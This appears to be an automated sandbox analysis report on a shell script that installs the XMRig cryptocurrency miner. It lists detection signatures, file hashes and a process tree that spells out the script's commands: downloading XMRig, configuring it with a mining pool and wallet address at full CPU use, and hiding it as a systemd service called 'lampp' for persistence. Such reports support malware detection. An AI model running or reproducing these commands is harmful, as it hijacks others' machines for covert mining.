Analysis

  • max time kernel
    2s
  • max time network
    129s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 12:30

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:3640
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:3644
      • /usr/bin/nproc
        nproc
        2⤵
          PID:3645
        • /usr/bin/bc
          bc -l
          2⤵
            PID:3648
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:3649
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:3654
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:3655
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:3656
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:3656
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:3656
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:3656
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:3657
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:3658
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:3659
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:3662
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:3663
                              • /usr/bin/sed
                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                2⤵
                                  PID:3664
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:3665
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                    • Reads runtime system information
                                    PID:3666
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-8\",/" /root/lampp/config.json
                                    2⤵
                                      PID:3667
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:3668
                                      • /usr/bin/sed
                                        sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:3669
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                            PID:3670
                                          • /usr/bin/sed
                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                            2⤵
                                              PID:3671
                                            • /usr/bin/cp
                                              cp /root/lampp/config.json /root/lampp/config_background.json
                                              2⤵
                                                PID:3672
                                              • /usr/bin/sed
                                                sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                2⤵
                                                  PID:3673
                                                • /usr/bin/cat
                                                  cat
                                                  2⤵
                                                    PID:3674
                                                  • /usr/bin/chmod
                                                    chmod +x /root/lampp/miner.sh
                                                    2⤵
                                                      PID:3675
                                                    • /usr/bin/sudo
                                                      sudo -n true
                                                      2⤵
                                                        PID:3676
                                                        • /usr/bin/true
                                                          true
                                                          3⤵
                                                            PID:3677
                                                        • /usr/bin/awk
                                                          awk "{print \$2}"
                                                          2⤵
                                                            PID:3680
                                                          • /usr/bin/grep
                                                            grep MemTotal /proc/meminfo
                                                            2⤵
                                                              PID:3679
                                                            • /usr/bin/cat
                                                              cat
                                                              2⤵
                                                                PID:3681
                                                              • /usr/bin/sudo
                                                                sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:3682
                                                                • /usr/bin/mv
                                                                  mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  3⤵
                                                                    PID:3683
                                                                • /usr/bin/sudo
                                                                  sudo killall xmrig
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:3684
                                                                  • /usr/bin/killall
                                                                    killall xmrig
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:3685
                                                                • /usr/bin/sudo
                                                                  sudo systemctl daemon-reload
                                                                  2⤵
                                                                    PID:3686
                                                                    • /usr/bin/systemctl
                                                                      systemctl daemon-reload
                                                                      3⤵
                                                                        PID:3687
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl enable lampp.service
                                                                      2⤵
                                                                        PID:3811
                                                                        • /usr/bin/systemctl
                                                                          systemctl enable lampp.service
                                                                          3⤵
                                                                            PID:3812
                                                                        • /usr/bin/sudo
                                                                          sudo systemctl start lampp.service
                                                                          2⤵
                                                                            PID:3936
                                                                            • /usr/bin/systemctl
                                                                              systemctl start lampp.service
                                                                              3⤵
                                                                                PID:3937

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

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                                                                          Downloads

                                                                          • /root/lampp/config.json

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            f3294129e6b76283965ad86a815bf383

                                                                            SHA1

                                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                                            SHA256

                                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                            SHA512

                                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                          • /root/lampp/miner.sh

                                                                            Filesize

                                                                            253B

                                                                            MD5

                                                                            f96a321a262287ceae164f23f232ed9c

                                                                            SHA1

                                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                                            SHA256

                                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                            SHA512

                                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                          • /root/lampp/sedAWxkw9

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            3d5aaa1317a6bb66a239ba36718725fe

                                                                            SHA1

                                                                            0a660093c6848b813bc7949faf969398c5132b9f

                                                                            SHA256

                                                                            d2c9d7e88d1c95f4b960cfcc1c71b9a4a0e5bbe0bcaeae02bc452a674b8f07b4

                                                                            SHA512

                                                                            9acb44a9290a3e7af7f5146becc6aff011229f673012b62482e0a12a84a65ac6e059aec58a8b28e76b00aeebcf94d891facaab060826be08d7501d3f38df9505

                                                                          • /root/lampp/sedB6tyvb

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            e2603911e2db69cd5a06ea0a67b81c91

                                                                            SHA1

                                                                            0dbd301d16d593592f03b85060d55777d7aedeb8

                                                                            SHA256

                                                                            9526de2d1838694283760b74b5fda38d8d6d4a3ed6e84f90d55f298ee5fa4bf2

                                                                            SHA512

                                                                            34b30d9501ba37ab34387ac50684db7b643444be11c431afa988b3be8afadcc9455f356c6040b788cf1293b6428fee416cd949b91c8b0b9b75da64a2c338fae2

                                                                          • /root/lampp/sedD1GCtR

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            8b11b027dd187104473ee7d661ffe25f

                                                                            SHA1

                                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                            SHA256

                                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                            SHA512

                                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                          • /root/lampp/sedGGp1p8

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            ae89fbf7b00ffcfb55c7de41963f0eb1

                                                                            SHA1

                                                                            cf3d25ec0cab7746d2b2db2f177144c74baeaeb4

                                                                            SHA256

                                                                            7ba12d7fc57710b394008c15d3473cff31f7e4a1f2daa9b548110cced08a5c29

                                                                            SHA512

                                                                            0a73aeed67d5b9574dc5a697b5b8231764efa996a153a440ac07e6212827d5bf5070f2c147e97f190b1af38ed182daf7649e3e7d436d43eebc3bd955056b4f66

                                                                          • /root/lampp/sedP0YZDv

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            d489ddbbb83271e967b8af615d17d3c7

                                                                            SHA1

                                                                            f0394a367a60e9727269882154098dec802774ef

                                                                            SHA256

                                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                            SHA512

                                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                          • /root/lampp/sedkTqmAa

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            eabf4994846e067f61c647e35cf62e82

                                                                            SHA1

                                                                            70c558890a350e4f2f3f7bfd3a3e5816f70073f0

                                                                            SHA256

                                                                            1b7c1d4569b0ff5eee2b48146ba0d4fcd5439d4ad6d33234179e78b38690c601

                                                                            SHA512

                                                                            5742136a217a0f6426882287e923056b4b8ed3e14647a34307492466e1bdc4a8c26cd53ccf04233b055a1906d5f0fd9e96713fe661402330d55b5d98bb1dcdb6

                                                                          • /root/lampp/xmrig

                                                                            Filesize

                                                                            8.4MB

                                                                            MD5

                                                                            971d13792e6e558fab0af765bca14a91

                                                                            SHA1

                                                                            b9211187c942ec32f9eeb25da4b3a1ea9512653a

                                                                            SHA256

                                                                            ccd9d4fe5f2c55bdfd49bcf280dcec95bac6886baed7b5f18334a76a789626fc

                                                                            SHA512

                                                                            485e50451cf48757ec0399dff6832c60804b98404a7a1203a6ff2d44b2b5da67e8aa155e3c1345d237d7a8f4830f53f4cedf2b3a10d858a8fa1031e11aa9ae0a

                                                                          • /tmp/lampp.service

                                                                            Filesize

                                                                            177B

                                                                            MD5

                                                                            540c899b78585827e807a62f7345eaf5

                                                                            SHA1

                                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                            SHA256

                                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                            SHA512

                                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                          • /tmp/xmrig.tar.gz

                                                                            Filesize

                                                                            3.4MB

                                                                            MD5

                                                                            e003a3ec8bdd61151a61cadf950502c4

                                                                            SHA1

                                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                            SHA256

                                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                            SHA512

                                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9